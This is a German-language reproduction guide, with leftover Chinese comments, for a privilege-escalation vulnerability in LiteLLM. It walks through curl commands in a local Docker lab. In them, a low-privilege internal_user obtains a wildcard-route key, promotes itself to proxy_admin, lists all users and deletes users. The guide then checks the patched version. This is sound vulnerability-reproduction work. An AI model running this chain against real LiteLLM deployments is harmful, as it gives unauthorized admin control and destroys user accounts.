
Der Code zur persönlichen Reproduktion der entsprechenden Schwachstelle.
/key/generate + /user/updateBei LiteLLM v1.82.6 (vor Version 1.83.14) erlaubt der
/key/generate-Endpunkt eineminternal_usermit geringen Berechtigungen, einen API-Key mit der Wildcard-Route["/*"]anzufordern und anschließend über den/user/update-Endpunkt die eigene Rolle aufproxy_adminzu erhöhen — eine nicht autorisierte Privilegieneskalation.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-47101 |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) |
| Betroffen | LiteLLM < 1.83.14 (bestätigt in v1.82.6) |
| Behoben | v1.83.14+ (neue allowed_routes-Rollenprüfung) |
| Veröffentlicht | 2026-05-21 |
| Entdeckt von | Fenix Qiao (13ph03nix) — Obsidian Security |
| Links | NVD |
Der /key/generate-Endpunkt von LiteLLM dient zum Generieren von API-Keys, /user/update zum Aktualisieren von Benutzereigenschaften.
Die Autorisierungsprüfungen dieser beiden Endpunkte weisen drei aufeinander aufbauende Schwachstellen auf, die ein Benutzer mit geringen Rechten zu einer Angriffskette verknüpfen kann:
/key/generate validiert allowed_routes nicht — jede Rolle (einschließlich internal_user) kann die Wildcard-Route ["/*"] anfordernallowed_routes-Wildcard-Abgleich zurück — der generierte Wildcard-Key kann auf alle Verwaltungsendpunkte zugreifen/user/update erlaubt die Selbständerung des Felds user_role — mit dem Wildcard-Key kann die eigene Rolle auf proxy_admin erhöht werdeninternal_user
→ POST /key/generate {"allowed_routes": ["/*"]}
→ 获得通配符 API key
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"}
→ 角色提升为 proxy_admin
→ GET /user/list (使用通配符 key)
→ 验证管理员访问权限
# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM(v1.82.6,digest 固定)
docker compose up -d litellm
# 等待服务就绪(约 10-30 秒)
sleep 15
# 检查容器日志
docker logs litellm-privesc 2>&1 | tail -10
Die erwartete Ausgabe sollte Startmeldungen wie Uvicorn running on http://0.0.0.0:4000 enthalten.
Erstellen Sie mit dem Master-Key ein internal_user-Konto mit geringen Berechtigungen:
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Erwartete Ausgabe:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
Notieren Sie sich die zurückgegebenen user_id und key; sie werden in den folgenden Schritten benötigt.
Rufen Sie /key/generate als internal_user auf und fordern Sie einen API-Key mit der Wildcard-Route ["/*"] an:
# 将 sk-internal-user-key 替换为上一步获得的 key
curl -s -X POST http://localhost:4000/key/generate \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
Erwartete Ausgabe:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}
⚠️ Schwachstelle: Der
internal_userhat erfolgreich einen API-Key mit der Wildcard-Route["/*"]generiert! Dieser Key kann auf alle Verwaltungsendpunkte zugreifen, einschließlich/user/update,/user/listusw.
Rufen Sie /user/update mit dem Wildcard-Key auf, um die Benutzerrolle auf proxy_admin zu erhöhen:
curl -s -X POST http://localhost:4000/user/update \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Erwartete Ausgabe:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Schwachstelle:
user_rolewurde voninternal_useraufproxy_admingeändert! Der/user/update-Endpunkt erlaubt es Benutzern, ihr eigenesuser_role-Feld ohne jegliche Berechtigungsprüfung zu ändern.
Verifizieren Sie über den /user/list-Endpunkt, dass die Rollenerhöhung wirksam wurde:
curl -s -X GET http://localhost:4000/user/list \
-H "Authorization: Bearer sk-wildcard-key"
Erwartete Ausgabe:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
Der
/user/list-Endpunkt ist nur für die Rolleproxy_adminzugänglich. Das erfolgreiche Abrufen der Benutzerliste bestätigt, dass die Rechteerweiterung wirksam ist.
Mit den erlangten proxy_admin-Rechten können über /user/delete beliebige Benutzer gelöscht werden:
curl -s -X POST http://localhost:4000/user/delete \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Erwartete Ausgabe:
1
Die obigen Schritte wurden zu demo.sh zusammengefasst und können direkt ausgeführt werden:
# 完整复现(包含步骤 1-5)
bash demo.sh
# 同时测试修复版本对比
bash demo.sh --fixed
Starten Sie die behobene Version (v1.83.14-stable), um zu bestätigen, dass die Schwachstelle behoben ist:
# 启动修复版本
docker compose --profile fixed up -d litellm-fixed
# 等待就绪
sleep 15
internal_user erstellen:
FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}' | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
echo "Fixed user key: $FIXED_USER_KEY"
Versuchen Sie, einen Key mit Wildcard-Route zu generieren (wird erwartungsgemäß blockiert):
curl -s -X POST http://localhost:4001/key/generate \
-H "Authorization: Bearer $FIXED_USER_KEY" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
Erwartete Ausgabe (die behobene Version blockiert die nicht autorisierte Anfrage):
{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}
Vergleich mit der verwundbaren Version:
| Testszenario | Verwundbare Version (v1.82.6) | Behobene Version (v1.83.14) |
|---|---|---|
internal_user fordert ["/*"] an | ✅ Wildcard-Key erfolgreich generiert | ❌ Blockiert (HTTP 403) |
| Wildcard-Key ändert user_role | ✅ Erfolgreich zu proxy_admin erhöht | ❌ Blockiert |
| Wildcard-Key greift auf /user/list zu | ✅ Benutzerliste erfolgreich abgerufen | ❌ Blockiert |
POST /key/generateGeneriert einen neuen API-Key. Der Parameter allowed_routes begrenzt die Liste der Endpunkt-Routen, auf die der Key zugreifen kann.
| Feld | Typ | Erforderlich | Beschreibung |
|---|---|---|---|
allowed_routes | array | Nein | Liste der erlaubten Routen; ["/*"] bedeutet beispielsweise alle Routen |
POST /user/updateAktualisiert Benutzereigenschaften, einschließlich des Felds user_role.
| Feld | Typ | Erforderlich | Beschreibung |
|---|---|---|---|
user_id | string | Ja | Die ID des zu aktualisierenden Benutzers |
user_role | string | Ja | Neue Rolle (z. B. proxy_admin) |
Rufen Sie als internal_user /key/generate auf und fordern Sie einen Key mit ["/*"] an:
POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json